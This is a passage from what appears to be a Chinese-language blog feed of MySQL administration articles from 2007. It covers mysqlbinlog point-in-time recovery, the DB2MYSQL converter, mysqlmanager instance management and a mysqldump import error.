--tab (Create Temp 报告之后)显示 线程、放弃的、流量 等状态报告。从 mysqlreport v2.3 开始,线程状态是从 Threads_ 状态值读取。
--innodb 显示 InnoDB 状态报告,包括MySQL 5.0.2以后才支持的InnoDB 缓冲池,以及5.0.3以后才支持的InnoDB锁状态报告。
--innodb-only 只显示 InnoDB 报告;不显示其他报告。
--dpr 显示 InnoDB 数据,页,行报告。
--all 如果可能,则显示所有的状态报告。一些报告,比如查询缓存、InnoDB等需要特定版本的MySQL或者其他特性才能支持。例如,尽管服务器支持查询缓存,但是它被禁用了,则不管是否指定了 --qcache 或者 --all,都不会显示查询缓存的报告。


发现bug或者错误时怎么办

若 mysqlreport 无法运行,请给我发送具体的错误信息
]]>
利用mysqlbinlog工具恢复MySQL数据库 http://www.phpv.net/html/1559.html http://www.phpv.net/html/1559.html#comment Thu, 20 Sep 2007 10:17:21 +0000 抽烟的蚊子 http://www.phpv.net/html/1559.html
要想从二进制日志恢复数据,你需要知道当前二进制日志文件的路径和文件名。一般可以从选项文件(即my.cnf or my.ini,取决于你的系统)中找到路径。如果未包含在选项文件中,当服务器启动时,可以在命令行中以选项的形式给出。启用二进制日志的选项为-- log-bin。要想确定当前的二进制日志文件的文件名,输入下面的MySQL语句:


SHOW BINLOG EVENTS G


你还可以从命令行输入下面的内容:


mysql --user=root -pmy_pwd -e 'SHOW BINLOG EVENTS G'


将密码my_pwd替换为服务器的root密码。

1. 指定恢复时间

对于MySQL 4.1.4,可以在mysqlbinlog语句中通过--start-date和--stop-date选项指定DATETIME格式的起止时间。举例说明,假设在今天上午10:00(今天是2005年4月20日),执行SQL语句来删除一个大表。要想恢复表和数据,你可以恢复前晚上的备份,并输入:


mysqlbinlog --stop-date="2005-04-20 9:59:59" /var/log/mysql/bin.123456
  | mysql -u root -pmypwd


该命令将恢复截止到在--stop-date选项中以DATETIME格式给出的日期和时间的所有数据。如果你没有检测到几个小时后输入的错误的SQL语句,可能你想要恢复后面发生的活动。根据这些,你可以用起使日期和时间再次运行mysqlbinlog:


mysqlbinlog --start-date="2005-04-20 10:01:00" /var/log/mysql/bin.123456
  | mysql -u root -pmypwd


在该行中,从上午10:01登录的SQL语句将运行。组合执行前夜的转储文件和mysqlbinlog的两行可以将所有数据恢复到上午10:00前一秒钟。你应检查日志以确保时间确切。下一节介绍如何实现。

2. 指定恢复位置

也可以不指定日期和时间,而使用mysqlbinlog的选项--start-position和--stop-position来指定日志位置。它们的作用与起止日选项相同,不同的是给出了从日志起的位置号。使用日志位置是更准确的恢复方法,特别是当由于破坏性SQL语句同时发生许多事务的时候。要想确定位置号,可以运行mysqlbinlog寻找执行了不期望的事务的时间范围,但应将结果重新指向文本文件以便进行检查。操作方法为:


mysqlbinlog --start-date="2005-04-20 9:55:00" --stop-date="2005-04-20 10:05:00"
  /var/log/mysql/bin.123456 > /tmp/mysql_restore.sql


该命令将在/tmp目录创建小的文本文件,将显示执行了错误的SQL语句时的SQL语句。你可以用文本编辑器打开该文件,寻找你不要想重复的语句。如果二进制日志中的位置号用于停止和继续恢复操作,应进行注释。用log_pos加一个数字来标记位置。使用位置号恢复了以前的备份文件后,你应从命令行输入下面内容:


mysqlbinlog --stop-position="368312" /var/log/mysql/bin.123456
 | mysql -u root -pmypwd
mysqlbinlog --start-position="368315" /var/log/mysql/bin.123456
 | mysql -u root -pmypwd


上面的第1行将恢复到停止位置为止的所有事务。下一行将恢复从给定的起始位置直到二进制日志结束的所有事务。因为mysqlbinlog的输出包括每个SQL语句记录之前的SET TIMESTAMP语句,恢复的数据和相关MySQL日志将反应事务执行的原时间。 ]]>
DB2MYSQL - 转ACCESS换MYSQL的软件[推荐] http://www.phpv.net/html/1558.html http://www.phpv.net/html/1558.html#comment Thu, 20 Sep 2007 10:09:12 +0000 抽烟的蚊子 http://www.phpv.net/html/1558.html DB2MYSQL能够实现可视化操作数据库,转换界面非常简单明了,可轻松实现ACCESS数据库转换为MYSQL数据库。如果想要将SQL SERVER的数据库转换到MYSQL,也可以使用这个软件,具体操作是先使用SQL SERVER的“导入和导出数据”将SQL SERVER数据导出到ACCESS文件,然后再将ACCESS文件导出为MYSQL语句。

运行转换功能后,系统会生成两个输出,一个是在屏幕界面上将转换后的SQL语句输出,另外还会在输出目录下自动生成一个后缀为.SQL的文本文件,里面会记录生成的SQL语句。

使用本程序需要对数据库结构原理、SQL语言有一些背景知识。

二、操作简介

DB2MySQL的界面


DB2MySQL的界面


本软件为英文界面,纯绿色软件。不过需要先安装微软的MDAC(Microsoft Data Access Components)才能使用。首先解压缩全部文件到你想要的文件夹下。然后运行 DB2MYSQL.EXE 文件。

运行本软件后,在开始界面里选择所要使用的数据库,表和字段。 具体操作:

1、先打开需要使用的ACESS数据库,数据库上的表将列出在数据表列表框里。 点击数据表即可列出当前数据表的所有字段。

2、点击所需的表进行表和字段选择。

3、确定数据表后即可点击[Start]按钮。就可以自动生成SQL语句了。

4、运行PHPMYSQL,先创建一个和ACCESS表完全相同的表,然后导入自动生成的SQL语句,即可完成ACCESS数据转换到MYSQL数据了。

转换后的SQL语句不仅仅在MYSQL下可以执行,在Microsoft SQL Server和ACCESS中同样可以执行。



三、授权方式

本软件的授权方式是自由软件,即,软件使用者有使用、复制、散布、研究、改写、再利用该软件的自由。更精确地说,自由软件赋予使用者四种自由:

不论目的为何,有使用该软件的自由。

有研究该软件如何运作的自由,并且得以改写该软件来符合使用者自身的需求。取得该软件之源码为达成此目的之前提。

有重新散布该软件的自由,所以每个人都可以藉由散布自由软件来敦亲睦邻。

有改善再利用该软件的自由,并且可以发表改写版供公众使用,如此一来,整个社群都可以受惠。如前项,取得该软件之源码为达成此目的之前提。

使用者必须能够自由地、以不收费或是收取合理的散布费用的方式、在任何时间再散布该软件的原版或是改写版在任何地方给任何人使用。

四、下载地址

软件下载地址:ACCESS数据库转换MYSQL数据库的软件

]]>
[MySQL 5.1 体验]MySQL 实例管理器 mysqlmanager 初试 http://www.phpv.net/html/1549.html http://www.phpv.net/html/1549.html#comment Wed, 20 Jun 2007 08:23:03 +0000 easy http://www.phpv.net/html/1549.html MySQL实例管理器(IM)是通过TCP/IP端口运行的后台程序,用来监视和管理MySQL数据库服务器实例。MySQL实例管理器适合Unix-类操作系统和Windows。

可以在mysqld_safe脚本使用MySQL实例管理器来启动和停止MySQL服务器,甚至可以从一个远程主机。MySQL实例管理器还执行mysqld_multi脚本的功能(和大多数语法)。

一、 mysqlmanager 配置文件
一个最常见的 mysqlmanager 配置文件如下:

[manager]
port	= 1999
socket	= /tmp/manager.sock
pid-file= /tmp/manager.pid
run-as-service	= true
monitoring-interval	= 10
default-mysqld-path	= /usr/local/mysql/bin/mysqld
password-file = /etc/mysqlmanager.passwd
log	=	/usr/local/mysql/bin/mysqld/mysqlmanager.log

[mysqld1]
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data1
general-log	= true
log-error	= /usr/local/mysql/data1/error.log
pid-file	= /usr/local/mysql/data1/mysql.pid
port      = 13306
socket		= /tmp/mysql13306.sock

[mysqld2]
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data2
general-log	= true
log-error	= /usr/local/mysql/data2/error.log
pid-file	= /usr/local/mysql/data2/mysql.pid
port      = 13307
socket		= /tmp/mysql13307.sock

[mysqld3]
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data3
general-log	= true
log-error	= /usr/local/mysql/data3/error.log
pid-file	= /usr/local/mysql/data3/mysql.pid
port      = 13308
socket		= /tmp/mysql13308.sock

首先,第一个区间是 [manager],它用于指定 mysqlmanager 程序启动时的选项。其中 run-as-service 选项是指 mysqlmanager 以后台守护进程方式运行, default-mysqld-path 选项则指定了 mysqld 程序所在的位置。 password-file 选项则指定了连接到 mysqlmanager 的用户密码文件所在位置。

接下来,后面的 [mysqld1], [mysqld2], [mysqld3] 区间则分别设定了3个 MySQL 运行实例。这些参数就是常见的设置了,在这里不再细说。

二、 mysqlmanager 用户管理
1、添加用户

[root@localhost]# /usr/local/mysql/bin/mysqlmanager --add-user --username=yejr
[20910/136318976] [07/06/19 11:03:01] [INFO] IM: started.
[20910/136318976] [07/06/19 11:03:01] [INFO] Loading config file 'my.cnf'...
[20910/136318976] [07/06/19 11:03:01] [INFO] Loading the password database...
[20910/136318976] [07/06/19 11:03:01] [INFO] The password database loaded successfully.
Enter password:
Re-type password:
[20910/136318976] [07/06/19 11:03:04] [INFO] IM: finished.
[root@localhost]# 
[root@localhost]# cat /etc/mysqlmanager.passwd
yejr:*0E558D9FBD602CDA0C9F3F7A8BC5F4F53401CD7C

2、修改密码

[root@localhost]# /usr/local/mysql/bin/mysqlmanager --edit-user --username=yejr
[20943/136318976] [07/06/19 11:05:01] [INFO] IM: started.
[20943/136318976] [07/06/19 11:05:01] [INFO] Loading config file 'my.cnf'...
[20943/136318976] [07/06/19 11:05:01] [INFO] Loading the password database...
[20943/136318976] [07/06/19 11:05:01] [INFO] Loaded user 'yejr'.
[20943/136318976] [07/06/19 11:05:01] [INFO] The password database loaded successfully.
Enter password:
Re-type password:
[20943/136318976] [07/06/19 11:05:05] [INFO] IM: finished.
[root@localhost]# 
[root@localhost]# cat /etc/mysqlmanager.passwd
yejr:*9DB91006131E32B22135599033C6A9C196EC3C6B

3、删除用户

[root@localhost]# /usr/local/mysql/bin/mysqlmanager --drop-user --username=yejr
[20967/136318976] [07/06/19 11:06:30] [INFO] IM: started.
[20967/136318976] [07/06/19 11:06:30] [INFO] Loading config file 'my.cnf'...
[20967/136318976] [07/06/19 11:06:30] [INFO] Loading the password database...
[20967/136318976] [07/06/19 11:06:30] [INFO] Loaded user 'yejr'.
[20967/136318976] [07/06/19 11:06:30] [INFO] The password database loaded successfully.
[20967/136318976] [07/06/19 11:06:30] [INFO] IM: finished.

默认情况下,mysqlmanager 的密码文件是 /etc/mysqlmanager.passwd,如果你的密码文件不是放在这里,那么就需要自行指定,增加一个参数 --password-file=path_to_passwd_file,让 mysqlmanager 根据指定的位置去找到正确的密码文件。如:

[root@localhost]# /usr/local/mysql/bin/mysqlmanager --password-file=/usr/local/mysql/.mysqlmanager.passwd --add-user --username=yejr

注意:修改或者删除用户后,只有重启 mysqlmanager 才能生效,而不是立刻生效。

三、 mysqlmanager 管理
1、mysqlmanager 启动

[root@localhost]# /usr/local/mysql/bin/mysqlmanager --defaults-file=/usr/local/mysql/my.cnf
[21032/136318976] [07/06/19 11:11:03] [INFO] IM: started.
[21032/136318976] [07/06/19 11:11:03] [INFO] Loading config file '/usr/local/mysql/my.cnf'...
[21032/136318976] [07/06/19 11:11:03] [INFO] Angel: started.
[21032/136318976] [07/06/19 11:11:03] [INFO] Angel: opening log file '/usr/local/mysql/bin/mysqld/mysqlmanager.log'...
[21032/136318976] [07/06/19 11:11:03] [INFO] Angel: daemonizing...
[21032/136318976] [07/06/19 11:11:03] [INFO] Angel: exiting from the original process...
[21032/136318976] [07/06/19 11:11:03] [INFO] IM: finished.
[21033/136318976] [07/06/19 11:11:03] [INFO] Angel: preparing standard streams.

在启动 mysqlmanager 的同时,也会把它管理的所有 MySQL实例 全部启动。

[root@localhost]# mysql -uyejr -P1999 -hlocalhost -S/tmp/manager.sock -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1 to server version: 1.0-beta

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

(yejr:localhost:)(none)> SHOW INSTANCES;
+---------------+--------+
| instance_name | state  |
+---------------+--------+
| mysqld1       | online |
| mysqld2       | online |
| mysqld3       | online |
+---------------+--------+

2、mysqlmanager 状态查看

(yejr:localhost:)(none)> SHOW INSTANCE STATUS mysqld1\G
*************************** 1. row ***************************
    instance_name: mysqld1
            state: online
   version_number: 5.1.19
          version: 5.1.19-beta for unknown-freebsd6.0 on i386 (MySQL Community Server (GPL))
mysqld_compatible: no

(yejr:localhost:)(none)> SHOW INSTANCE OPTIONS mysqld1;
+---------------+----------------------------------------------+
| option_name   | value                                        |
+---------------+----------------------------------------------+
| instance_name | mysqld1                                      |
| basedir       | /usr/local/mysql                             |
| datadir       | /usr/local/mysql/data1                       |
| general-log   | true                                         |
| log-error     | /usr/local/mysql/data1/error.log             |
| pid-file      | /usr/local/mysql/data1/mysql.pid             |
| port          | 13306                                        |
| socket        | /tmp/mysql13306.sock                         |
+---------------+----------------------------------------------+

(yejr:localhost:)(none)> SHOW mysqld1 LOG FILES;
+-----------+----------------------------------+-----------+
| Logfile   | Path                             | File size |
+-----------+----------------------------------+-----------+
| ERROR LOG | /usr/local/mysql/data1/error.log | 2976      |
+-----------+----------------------------------+-----------+

(yejr:localhost:)(none)> SHOW mysqld13306 LOG ERROR 2976\G
*************************** 1. row ***************************
070619 11:17:57 [Warning] Server variable data_file_path of plugin InnoDB was forced to be read-only: string variable
without update_func and PLUGIN_VAR_MEMALLOC flag
070619 11:17:57 [Warning] Server variable data_home_dir of plugin InnoDB was forced to be read-only: string variable
without update_func and PLUGIN_VAR_MEMALLOC flag
070619 11:17:57 [Warning] Server variable flush_method of plugin InnoDB was forced to be read-only: string variable
without update_func and PLUGIN_VAR_MEMALLOC flag
070619 11:17:57 [Warning] Server variable log_arch_dir of plugin InnoDB was forced to be read-only: string variable
without update_func and PLUGIN_VAR_MEMALLOC flag
070619 11:17:57 [Warning] Server variable log_group_home_dir of plugin InnoDB was forced to be read-only: string
variable without update_func and PLUGIN_VAR_MEMALLOC flag
070619 11:17:57  InnoDB: Started; log sequence number 0 48402
070619 11:17:57 [Note] Event Scheduler: Loaded 0 events
070619 11:17:57 [Note] /usr/local/mysql/bin/mysqld: ready for connections.
Version: '5.1.19-beta'  socket: '/tmp/mysql13306.sock'  port: 13306  MySQL Community Server (GPL)

更多的可操作命令可以参考手册。

3、mysqlmanager 管理
停止 MySQL实例:

(yejr:localhost:)(none)> STOP INSTANCE mysqld1;
Query OK, 0 rows affected (1.81 sec)

(yejr:localhost:)(none)> SHOW INSTANCES;
+---------------+---------+
| instance_name | state   |
+---------------+---------+
| mysqld1       | offline |
| mysqld2       | online  |
| mysqld3       | online  |
+---------------+---------+

(yejr:localhost:)(none)> START INSTANCE mysqld1;
Query OK, 0 rows affected (0.00 sec)
Instance started

(yejr:localhost:)(none)> SHOW INSTANCES;
+---------------+--------+
| instance_name | state  |
+---------------+--------+
| mysqld1       | online |
| mysqld2       | online |
| mysqld3       | online |
+---------------+--------+

(yejr:localhost:)(none)> STOP INSTANCE mysqld2;
Query OK, 0 rows affected (1.81 sec)

(yejr:localhost:)(none)> STOP INSTANCE mysqld3;
Query OK, 0 rows affected (1.81 sec)

(yejr:localhost:)(none)> SHOW INSTANCES;
+---------------+---------+
| instance_name | state   |
+---------------+---------+
| mysqld1       | offline |
| mysqld2       | offline |
| mysqld3       | offline |
+---------------+---------+

(yejr:localhost:)(none)> FLUSH INSTANCES;
Query OK, 0 rows affected (0.09 sec)

(yejr:localhost:)(none)> SHOW INSTANCES;
+---------------+--------+
| instance_name | state  |
+---------------+--------+
| mysqld1       | online |
| mysqld2       | online |
| mysqld3       | online |
+---------------+--------+

在 MySQL实例 停止的状态下,还可以动态的修改端口等参数。
注意: FLUSH INSTANCES 语法会在 MySQL 5.2 以后不再使用。

总结:通过 mysqlmanager 我们就可以远程来管理 mysqld,包括重启,查看日志,设定系统参数等。而无需直接登录服务器或者通过 mysql 客户端登录服务器,也进一步保护了 MySQL 账户的安全,这在有较多数量的 MySQL 服务器引用环境中还是很有帮助的。

]]>
mysqldump 导出的sql文件导入时提示Unknown command ‘\[’解决. http://www.phpv.net/html/1545.html http://www.phpv.net/html/1545.html#comment Sat, 26 May 2007 00:15:17 +0000 easy http://www.phpv.net/html/1545.html forum.sql -u root -p 导出一个2.4G大的forum.sql文件,然后试图导入内网(192.168.0.8)的另一台机器时,出现问题 #mysql forum 两台linux机器的mysql配置一模一样。
#mysqldump forum>forum.sql -u root -p
导出一个2.4G大的forum.sql文件,然后试图导入内网(192.168.0.8)的另一台机器时,出现问题

#mysql forum<forum.sql -u root -p -h 192.168.0.8
Enter password:
ERROR at line 1410: Unknown command ‘\[’.

首先是怀疑有二进制,添加参数–hex-blob 再导,问题依旧。
再想也不可能是字符集什么呀 。
请教imysql,说是: 2边的max_allowed_packet设置的不一样.
明明是一样的,改大一些试试。16M改成64M,也不行。
最后拉到本机去,终于可以正常导入。
问题虽然解决,但根源是什么还是没弄懂。
哪个老师知道此问题的原因,请赐教。

 

最后,学到一个简单的服务器间复制库的办法。
mysqldump -hhost1 xx | mysql -hhost2
从host1导出库xx,然后写入host2

]]>